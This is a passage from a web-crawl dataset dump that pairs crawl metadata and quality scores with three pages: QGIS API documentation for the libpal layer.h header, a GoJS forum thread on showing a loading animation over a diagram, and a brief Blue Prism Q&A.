6261, 6276, 6287, 6288, 6304, 6305, 6567, 6568, 6569, 7364, 7365, 7375, 7376, 7391, 7402, 7403, 7472, 7473, 7512, 7566, 7594, 7595, 7722, 7723, 7725, 7726, 7871, 7872, 7873, 7901, 7916, 7926 ] }
{ "red_pajama_v2": { "ccnet_original_length": 7926, "ccnet_original_nlines": 112, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.41447752714157104, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.029772330075502396, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1984821856021881, "rps_doc_frac_unique_words": 0.32487308979034424, "rps_doc_mean_word_length": 4.425670623779297, "rps_doc_num_sentences": 63, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.363522052764893, "rps_doc_word_count": 1379, "rps_doc_frac_chars_dupe_10grams": 0.0678354874253273, "rps_doc_frac_chars_dupe_5grams": 0.0897919088602066, "rps_doc_frac_chars_dupe_6grams": 0.0678354874253273, "rps_doc_frac_chars_dupe_7grams": 0.0678354874253273, "rps_doc_frac_chars_dupe_8grams": 0.0678354874253273, "rps_doc_frac_chars_dupe_9grams": 0.0678354874253273, "rps_doc_frac_chars_top_2gram": 0.009011959657073021, "rps_doc_frac_chars_top_3gram": 0.022284120321273804, "rps_doc_frac_chars_top_4gram": 0.014255279675126076, "rps_doc_books_importance": -816.0715942382812, "rps_doc_books_importance_length_correction": -816.0715942382812, "rps_doc_openwebtext_importance": -472.3594055175781, "rps_doc_openwebtext_importance_length_correction": -472.3594055175781, "rps_doc_wikipedia_importance": -352.0209045410156, "rps_doc_wikipedia_importance_length_correction": -352.0209045410156 }, "fasttext": { "dclm": 0.05065333843231201, "english": 0.9273859858512878, "fineweb_edu_approx": 1.490282416343689, "eai_general_math": 0.7379356622695923, "eai_open_web_math": 0.31823205947875977, "eai_web_code": 0.7702430486679077 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "2", "label": "Click Here References" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,805,066,953,229,605,400
QGIS API Documentation  2.11.0-Master  All Classes Namespaces Files Functions Variables Typedefs Enumerations Enumerator Properties Friends Macros Groups Pages layer.h Go to the documentation of this file. 1 /* 2  * libpal - Automated Placement of Labels Library 3  * 4  * Copyright (C) 2008 Maxence Laurent, MIS-TIC, HEIG-VD 5  * University of Applied Sciences, Western Switzerland 6  * http://www.hes-so.ch 7  * 8  * Contact: 9  * maxence.laurent <at> heig-vd <dot> ch 10  * or 11  * eric.taillard <at> heig-vd <dot> ch 12  * 13  * This file is part of libpal. 14  * 15  * libpal is free software: you can redistribute it and/or modify 16  * it under the terms of the GNU General Public License as published by 17  * the Free Software Foundation, either version 3 of the License, or 18  * (at your option) any later version. 19  * 20  * libpal is distributed in the hope that it will be useful, 21  * but WITHOUT ANY WARRANTY; without even the implied warranty of 22  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 23  * GNU General Public License for more details. 24  * 25  * You should have received a copy of the GNU General Public License 26  * along with libpal. If not, see <http://www.gnu.org/licenses/>. 27  * 28  */ 29  30 #ifndef _LAYER_H_ 31 #define _LAYER_H_ 32  33 #include "pal.h" 34 #include <QMutex> 35 #include <QLinkedList> 36 #include <QHash> 37 #include <fstream> 38  39 class QgsLabelFeature; 40  41 namespace pal 42 { 43  44  template<class DATATYPE, class ELEMTYPE, int NUMDIMS, class ELEMTYPEREAL, int TMAXNODES, int TMINNODES> class RTree; 45  46  class FeaturePart; 47  class Pal; 48  class LabelInfo; 49  57  class CORE_EXPORT Layer 58  { 59  friend class Pal; 60  friend class FeaturePart; 61  62  friend class Problem; 63  64  friend class LabelPosition; 65  friend bool extractFeatCallback( FeaturePart *ft_ptr, void *ctx ); 66  67  public: 68  enum LabelMode { LabelPerFeature, LabelPerFeaturePart }; 70  { 71  Upright, // upside-down labels (90 <= angle < 270) are shown upright 72  ShowDefined, // show upside down when rotation is layer- or data-defined 73  ShowAll // show upside down for all labels, including dynamic ones 74  }; 75  76  virtual ~Layer(); 77  78  bool displayAll() const { return mDisplayAll; } 79  82  int featureCount() { return mHashtable.size(); } 83  85  QgsAbstractLabelProvider* provider() const { return mProvider; } 86  89  QString name() const { return mName; } 90  94  Arrangement arrangement() const { return mArrangement; } 95  100  void setArrangement( Arrangement arrangement ) { mArrangement = arrangement; } 101  105  LineArrangementFlags arrangementFlags() const { return mArrangementFlags; } 106  111  void setArrangementFlags( const LineArrangementFlags& flags ) { mArrangementFlags = flags; } 112  123  void setActive( bool active ) { mActive = active; } 124  128  bool active() const { return mActive; } 129  136  void setLabelLayer( bool toLabel ) { mLabelLayer = toLabel; } 137  141  bool labelLayer() const { return mLabelLayer; } 142  147  ObstacleType obstacleType() const { return mObstacleType; } 148  154  void setObstacleType( ObstacleType obstacleType ) { mObstacleType = obstacleType; } 155  161  void setPriority( double priority ); 162  167  double priority() const { return mDefaultPriority; } 168  173  void setLabelMode( LabelMode mode ) { mMode = mode; } 174  178  LabelMode labelMode() const { return mMode; } 179  184  void setMergeConnectedLines( bool merge ) { mMergeLines = merge; } 185  189  bool mergeConnectedLines() const { return mMergeLines; } 190  195  void setUpsidedownLabels( UpsideDownLabels ud ) { mUpsidedownLabels = ud; } 196  200  UpsideDownLabels upsidedownLabels() const { return mUpsidedownLabels; } 201  208  void setCentroidInside( bool forceInside ) { mCentroidInside = forceInside; } 209  214  bool centroidInside() const { return mCentroidInside; } 215  223  void setFitInPolygonOnly( bool fitInPolygon ) { mFitInPolygon = fitInPolygon; } 224  229  bool fitInPolygonOnly() const { return mFitInPolygon; } 230  239  bool registerFeature( QgsLabelFeature* label ); 240  242  void joinConnectedFeatures(); 243  245  void chopFeaturesAtRepeatDistance(); 246  247  protected: 250  253  255  257  259  bool mActive; 264  267  LineArrangementFlags mArrangementFlags; 270  272  273  // indexes (spatial and id) 277  280  282  296  Layer( QgsAbstractLabelProvider* provider, const QString& name, Arrangement arrangement, double defaultPriority, bool active, bool toLabel, Pal *pal, bool displayAll = false ); 297  299  void addFeaturePart( FeaturePart* fpart, const QString &labelText = QString() ); 300  301  }; 302  303 } // end namespace pal 304  305 #endif UpsideDownLabels upsidedownLabels() const Returns how upside down labels are handled within the layer. Definition: layer.h:200 bool mMergeLines Definition: layer.h:269 ObstacleType obstacleType() const Returns the obstacle type, which controls how features within the layer act as obstacles for labels... Definition: layer.h:147 bool mActive Definition: layer.h:259 bool mLabelLayer Definition: layer.h:260 QLinkedList< FeaturePart * > mFeatureParts List of feature parts. Definition: layer.h:252 bool active() const Returns whether the layer is currently active. Definition: layer.h:128 QStringList mConnectedTexts Definition: layer.h:279 Arrangement arrangement() const Returns the layer's arrangement policy. Definition: layer.h:94 bool labelLayer() const Returns whether the layer will be labeled or not. Definition: layer.h:141 A layer of spacial entites. Definition: layer.h:57 QHash< QgsFeatureId, QgsLabelFeature * > mHashtable Lookup table of label features (owned by the label feature provider that created them) ... Definition: layer.h:276 double mDefaultPriority Definition: layer.h:256 void setObstacleType(ObstacleType obstacleType) Sets the obstacle type, which controls how features within the layer act as obstacles for labels... Definition: layer.h:154 Arrangement mArrangement Optional flags used for some placement methods. Definition: layer.h:266 Pal main class. Definition: pal.h:111 UpsideDownLabels Definition: layer.h:69 bool displayAll() const Definition: layer.h:78 double priority() const Returns the layer's priority, between 0 and 1. Definition: layer.h:167 bool centroidInside() const Returns whether labels placed at the centroid of features within the layer are forced to be placed in... Definition: layer.h:214 void setUpsidedownLabels(UpsideDownLabels ud) Sets how upside down labels will be handled within the layer. Definition: layer.h:195 ObstacleType mObstacleType Definition: layer.h:258 void setCentroidInside(bool forceInside) Sets whether labels placed at the centroid of features within the layer are forced to be placed insid... Definition: layer.h:208 void setArrangement(Arrangement arrangement) Sets the layer's arrangement policy. Definition: layer.h:100 void setFitInPolygonOnly(bool fitInPolygon) Sets whether labels which do not fit completely within a polygon feature are discarded. Definition: layer.h:223 QString mName Definition: layer.h:249 bool mergeConnectedLines() const Returns whether connected lines will be merged before labeling. Definition: layer.h:189 Optional additional info about label (for curved labels) Definition: feature.h:47 int featureCount() Returns the number of features in layer. Definition: layer.h:82 QgsAbstractLabelProvider * provider() const Returns pointer to the associated provider. Definition: layer.h:85 bool mCentroidInside Definition: layer.h:262 Main class to handle feature. Definition: feature.h:79 The QgsAbstractLabelProvider class is an interface class. void setArrangementFlags(const LineArrangementFlags &flags) Sets the layer's arrangement flags. Definition: layer.h:111 bool fitInPolygonOnly() const Returns whether labels which do not fit completely within a polygon feature are discarded. Definition: layer.h:229 LineArrangementFlags mArrangementFlags Definition: layer.h:267 bool extractFeatCallback(FeaturePart *ft_ptr, void *ctx) Definition: pal.cpp:151 Pal * pal Definition: layer.h:254 QHash< QString, QLinkedList< FeaturePart * > * > mConnectedHashtable Definition: layer.h:278 LabelMode Definition: layer.h:68 bool mDisplayAll Definition: layer.h:261 Arrangement The way to arrange labels against spatial entities. Definition: pal.h:77 void setActive(bool active) Sets whether the layer is currently active. Definition: layer.h:123 void setLabelLayer(bool toLabel) Sets whether the layer will be labeled. Definition: layer.h:136 QgsAbstractLabelProvider * mProvider Definition: layer.h:248 The QgsLabelFeature class describes a feature that should be used within the labeling engine... ObstacleType Definition: pal.h:97 void setLabelMode(LabelMode mode) Sets the layer's labeling mode. Definition: layer.h:173 QMutex mMutex Definition: layer.h:281 LabelPosition is a candidate feature label position. Definition: labelposition.h:48 QString name() const Returns the layer's name. Definition: layer.h:89 LineArrangementFlags arrangementFlags() const Returns the layer's arrangement flags. Definition: layer.h:105 LabelMode mMode Definition: layer.h:268 Represent a problem. Definition: problem.h:93 RTree< FeaturePart *, double, 2, double, 8, 4 > * rtree Definition: layer.h:274 bool mFitInPolygon Definition: layer.h:263 LabelMode labelMode() const Returns the layer's labeling mode. Definition: layer.h:178 UpsideDownLabels mUpsidedownLabels Definition: layer.h:271 void setMergeConnectedLines(bool merge) Sets whether connected lines should be merged before labeling. Definition: layer.h:184
{ "url": "http://qgis.org/api/layer_8h_source.html", "source_domain": "qgis.org", "snapshot_id": "crawl=CC-MAIN-2015-40", "warc_metadata": { "Content-Length": "68241", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:KTF6YNBU25GV77X6MHVOYE2SVZ6VBLZ3", "WARC-Concurrent-To": "<urn:uuid:168f4cf1-9c69-4f51-aebc-42064c4a61d7>", "WARC-Date": "2015-10-09T06:44:18Z", "WARC-IP-Address": "140.211.15.67", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:5RNLBEEGMRPIGGWI7CGGKNBCIVP2O5VP", "WARC-Record-ID": "<urn:uuid:340d185b-f9b2-4f20-a21c-3d4bd87b8d50>", "WARC-Target-URI": "http://qgis.org/api/layer_8h_source.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:8747f721-cc02-4068-82bb-aa6fa5eb5b06>" }, "warc_info": "robots: classic\r\nhostname: ip-10-137-6-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-40\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for September 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 38, 160, 168, 206, 211, 263, 268, 326, 383, 409, 414, 428, 471, 480, 522, 528, 563, 569, 638, 713, 785, 827, 833, 897, 966, 1033, 1084, 1090, 1162, 1231, 1237, 1244, 1248, 1269, 1290, 1294, 1314, 1335, 1361, 1381, 1403, 1407, 1433, 1437, 1454, 1459, 1463, 1584, 1588, 1611, 1626, 1647, 1651, 1679, 1685, 1707, 1737, 1741, 1767, 1771, 1803, 1874, 1878, 1890, 1951, 1957, 2030, 2107, 2178, 2185, 2189, 2211, 2215, 2267, 2271, 2324, 2328, 2397, 2401, 2444, 2448, 2509, 2513, 2597, 2602, 2683, 2688, 2786, 2791, 2848, 2853, 2898, 2903, 2970, 2975, 3028, 3033, 3098, 3103, 3192, 3197, 3239, 3244, 3302, 3307, 3366, 3371, 3422, 3427, 3499, 3504, 3566, 3571, 3652, 3657, 3734, 3739, 3822, 3827, 3888, 3893, 3978, 3983, 4044, 4049, 4102, 4107, 4142, 4147, 4189, 4194, 4210, 4215, 4220, 4225, 4230, 4249, 4254, 4299, 4304, 4309, 4342, 4347, 4352, 4357, 4539, 4544, 4630, 4635, 4643, 4648, 4675, 4680, 4691, 4733, 4794, 4818, 4835, 4859, 4893, 4996, 5020, 5033, 5057, 5074, 5098, 5141, 5164, 5188, 5208, 5255, 5279, 5307, 5331, 5363, 5403, 5426, 5450, 5500, 5524, 5552, 5575, 5627, 5718, 5742, 5766, 5790, 5838, 5938, 5962, 5987, 6035, 6059, 6075, 6097, 6114, 6137, 6161, 6184, 6208, 6255, 6279, 6307, 6412, 6436, 6482, 6544, 6568, 6595, 6619, 6660, 6765, 6789, 6834, 6871, 6895, 6939, 7027, 7051, 7065, 7089, 7122, 7186, 7210, 7267, 7292, 7311, 7352, 7375, 7419, 7463, 7486, 7507, 7531, 7561, 7586, 7644, 7704, 7740, 7764, 7794, 7885, 7909, 7948, 7972, 8029, 8053, 8063, 8087, 8156, 8180, 8190, 8213, 8230, 8254, 8266, 8318, 8339, 8367, 8411, 8435, 8468, 8508, 8532, 8569, 8593, 8689, 8702, 8723, 8757, 8789, 8813, 8827, 8851, 8904, 8935, 8956, 8982, 9005, 9051, 9090, 9114, 9130, 9154, 9175, 9200, 9256, 9280, 9299, 9323, 9351, 9386, 9410, 9445, 9469, 9509, 9572 ], "line_end_idx": [ 38, 160, 168, 206, 211, 263, 268, 326, 383, 409, 414, 428, 471, 480, 522, 528, 563, 569, 638, 713, 785, 827, 833, 897, 966, 1033, 1084, 1090, 1162, 1231, 1237, 1244, 1248, 1269, 1290, 1294, 1314, 1335, 1361, 1381, 1403, 1407, 1433, 1437, 1454, 1459, 1463, 1584, 1588, 1611, 1626, 1647, 1651, 1679, 1685, 1707, 1737, 1741, 1767, 1771, 1803, 1874, 1878, 1890, 1951, 1957, 2030, 2107, 2178, 2185, 2189, 2211, 2215, 2267, 2271, 2324, 2328, 2397, 2401, 2444, 2448, 2509, 2513, 2597, 2602, 2683, 2688, 2786, 2791, 2848, 2853, 2898, 2903, 2970, 2975, 3028, 3033, 3098, 3103, 3192, 3197, 3239, 3244, 3302, 3307, 3366, 3371, 3422, 3427, 3499, 3504, 3566, 3571, 3652, 3657, 3734, 3739, 3822, 3827, 3888, 3893, 3978, 3983, 4044, 4049, 4102, 4107, 4142, 4147, 4189, 4194, 4210, 4215, 4220, 4225, 4230, 4249, 4254, 4299, 4304, 4309, 4342, 4347, 4352, 4357, 4539, 4544, 4630, 4635, 4643, 4648, 4675, 4680, 4691, 4733, 4794, 4818, 4835, 4859, 4893, 4996, 5020, 5033, 5057, 5074, 5098, 5141, 5164, 5188, 5208, 5255, 5279, 5307, 5331, 5363, 5403, 5426, 5450, 5500, 5524, 5552, 5575, 5627, 5718, 5742, 5766, 5790, 5838, 5938, 5962, 5987, 6035, 6059, 6075, 6097, 6114, 6137, 6161, 6184, 6208, 6255, 6279, 6307, 6412, 6436, 6482, 6544, 6568, 6595, 6619, 6660, 6765, 6789, 6834, 6871, 6895, 6939, 7027, 7051, 7065, 7089, 7122, 7186, 7210, 7267, 7292, 7311, 7352, 7375, 7419, 7463, 7486, 7507, 7531, 7561, 7586, 7644, 7704, 7740, 7764, 7794, 7885, 7909, 7948, 7972, 8029, 8053, 8063, 8087, 8156, 8180, 8190, 8213, 8230, 8254, 8266, 8318, 8339, 8367, 8411, 8435, 8468, 8508, 8532, 8569, 8593, 8689, 8702, 8723, 8757, 8789, 8813, 8827, 8851, 8904, 8935, 8956, 8982, 9005, 9051, 9090, 9114, 9130, 9154, 9175, 9200, 9256, 9280, 9299, 9323, 9351, 9386, 9410, 9445, 9469, 9509, 9572, 9595 ] }
{ "red_pajama_v2": { "ccnet_original_length": 9595, "ccnet_original_nlines": 297, "rps_doc_curly_bracket": 0.006044819951057434, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.1441393941640854, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.015311510302126408, "rps_doc_frac_lines_end_with_ellipsis": 0.020134229212999344, "rps_doc_frac_no_alph_words": 0.42555439472198486, "rps_doc_frac_unique_words": 0.45391303300857544, "rps_doc_mean_word_length": 6.522608757019043, "rps_doc_num_sentences": 111, "rps_doc_symbol_to_word_ratio": 0.007391760125756264, "rps_doc_unigram_entropy": 5.619882583618164, "rps_doc_word_count": 1150, "rps_doc_frac_chars_dupe_10grams": 0.0639914721250534, "rps_doc_frac_chars_dupe_5grams": 0.14051459729671478, "rps_doc_frac_chars_dupe_6grams": 0.0901213213801384, "rps_doc_frac_chars_dupe_7grams": 0.075189970433712, "rps_doc_frac_chars_dupe_8grams": 0.0639914721250534, "rps_doc_frac_chars_dupe_9grams": 0.0639914721250534, "rps_doc_frac_chars_top_2gram": 0.02053060010075569, "rps_doc_frac_chars_top_3gram": 0.01119851041585207, "rps_doc_frac_chars_top_4gram": 0.013998130336403847, "rps_doc_books_importance": -965.498046875, "rps_doc_books_importance_length_correction": -965.498046875, "rps_doc_openwebtext_importance": -507.4515380859375, "rps_doc_openwebtext_importance_length_correction": -507.4515380859375, "rps_doc_wikipedia_importance": -454.10736083984375, "rps_doc_wikipedia_importance_length_correction": -454.10736083984375 }, "fasttext": { "dclm": 0.30205726623535156, "english": 0.36252561211586, "fineweb_edu_approx": 1.8415278196334839, "eai_general_math": 0.5057597160339355, "eai_open_web_math": 0.025542739778757095, "eai_web_code": 0.031946178525686264 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.019", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "1", "label": "Leftover HTML" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "5", "label": "Exceptionally Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-606,818,954,154,090,600
Display loader animation in the canvas Hi, I have a tree control. In order to fill the data i have to query some external web services. Sometimes they take some time in fetching the data, i want to display some loader type of animation. I tried using the older ways of loading a gif file using Jquery show and hide methods. Somehow they are not display over the canvas diagram control. Can you please advise? Make sure the DIV that is supposed to appear over the diagram is a sibling of the diagram DIV, and set its CSS z-index to something large, like 300. There’s an example of HTML elements appearing over a Diagram in this sample: http://gojs.net/latest/samples/dataVisualization.html And in this sample: http://gojs.net/latest/samples/htmlInteraction.html Both have their CSS z-index set as a matter of necessity (because we are setting the z-index of the Diagram DIV’s canvas to 2, so it must be greater than 2 to be shown.) Hi, thanks for your feedback. I did the changes, however i could get the css animation only when i am in debug mode in the browser. Otherwise the background of the DIAGRAM DIV is only taking priority. Please note that the z index value is also set as a greater value. I am trying show some animation during the data fetch. Also, since the animation begins before the diagram initialization, will that be a problem? It shouldn’t be a problem that an HTML+CSS or Gif animation begins before the diagram initialization, as long as all the relevant parts are siblings of the Diagram DIV and have a high z-order. I’m not sure what else might be causing issues with the Diagram DIV taking priority, but if you want to make a simple example of it I could take a look. https://gojs.net/latest/samples/virtualizedTreeLayout.html now shows an example of a CSS animation that is shown during loading.
{ "url": "https://forum.nwoods.com/t/display-loader-animation-in-the-canvas/5968", "source_domain": "forum.nwoods.com", "snapshot_id": "crawl=CC-MAIN-2022-21", "warc_metadata": { "Content-Length": "20215", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:IYHNT2CBP3BORZE6PKKDIS57ON2QPKX3", "WARC-Concurrent-To": "<urn:uuid:6a72c3de-0e96-4a19-8745-fed1b48a6748>", "WARC-Date": "2022-05-18T10:40:15Z", "WARC-IP-Address": "167.99.62.122", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:PS7HJVWMOHCD7ZGYVHIFZHRZJDVLQNVD", "WARC-Record-ID": "<urn:uuid:ac1cdde2-8034-436e-91fa-32ef6603f7ab>", "WARC-Target-URI": "https://forum.nwoods.com/t/display-loader-animation-in-the-canvas/5968", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:5512b035-d246-4174-8904-02af7f8fcc1b>" }, "warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-116\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 39, 40, 44, 45, 388, 389, 412, 413, 562, 563, 694, 695, 767, 768, 938, 939, 943, 944, 1208, 1209, 1264, 1265, 1357, 1358, 1704, 1705 ], "line_end_idx": [ 39, 40, 44, 45, 388, 389, 412, 413, 562, 563, 694, 695, 767, 768, 938, 939, 943, 944, 1208, 1209, 1264, 1265, 1357, 1358, 1704, 1705, 1833 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1833, "ccnet_original_nlines": 26, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.44949495792388916, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.047979798167943954, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1540403962135315, "rps_doc_frac_unique_words": 0.4823151230812073, "rps_doc_mean_word_length": 4.659163951873779, "rps_doc_num_sentences": 23, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.618009567260742, "rps_doc_word_count": 311, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.08695652335882187, "rps_doc_frac_chars_dupe_6grams": 0.06211179867386818, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.05521048977971077, "rps_doc_frac_chars_top_3gram": 0.03312629088759422, "rps_doc_frac_chars_top_4gram": 0.03105589933693409, "rps_doc_books_importance": -183.6046905517578, "rps_doc_books_importance_length_correction": -182.35215759277344, "rps_doc_openwebtext_importance": -109.81156921386719, "rps_doc_openwebtext_importance_length_correction": -109.81156921386719, "rps_doc_wikipedia_importance": -77.10263061523438, "rps_doc_wikipedia_importance_length_correction": -77.09947204589844 }, "fasttext": { "dclm": 0.19821196794509888, "english": 0.9234022498130798, "fineweb_edu_approx": 2.0689468383789062, "eai_general_math": 0.8964620232582092, "eai_open_web_math": 0.4201081395149231, "eai_web_code": 0.4715757369995117 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "006.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Cognitive science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-822,356,819,114,196,100
0 votes in Technology by (1.7m points) What is the use of Initialize and cleanup in object studio in Blue-prism? 1 Answer 0 votes by (1.7m points) Initialize and cleanup is the pre and post conditions which will execute at the start and end of the object respectively. It cannot be called through action as it will run automatically when a particular object is called. ...
{ "url": "https://blogmepost.com/1812/What-the-use-initialize-and-cleanup-object-studio-blue-prism", "source_domain": "blogmepost.com", "snapshot_id": "crawl=CC-MAIN-2022-21", "warc_metadata": { "Content-Length": "39398", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:CS2YN3PQIWHSISGWT7LT2BKNW3OC3R6P", "WARC-Concurrent-To": "<urn:uuid:195ef25f-12ab-4d39-9bc4-f2dbfef6d5c8>", "WARC-Date": "2022-05-27T00:31:35Z", "WARC-IP-Address": "104.21.25.3", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:SIWLCZAHJFRHKU7F3L262KEY6XBZU247", "WARC-Record-ID": "<urn:uuid:6fc17743-257c-4b80-a981-39839bfc876a>", "WARC-Target-URI": "https://blogmepost.com/1812/What-the-use-initialize-and-cleanup-object-studio-blue-prism", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:2e554fb6-9876-49db-a67f-5dddf17ac0e2>" }, "warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-252\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 8, 39, 113, 114, 123, 124, 132, 149, 150, 272, 372, 373 ], "line_end_idx": [ 8, 39, 113, 114, 123, 124, 132, 149, 150, 272, 372, 373, 376 ] }
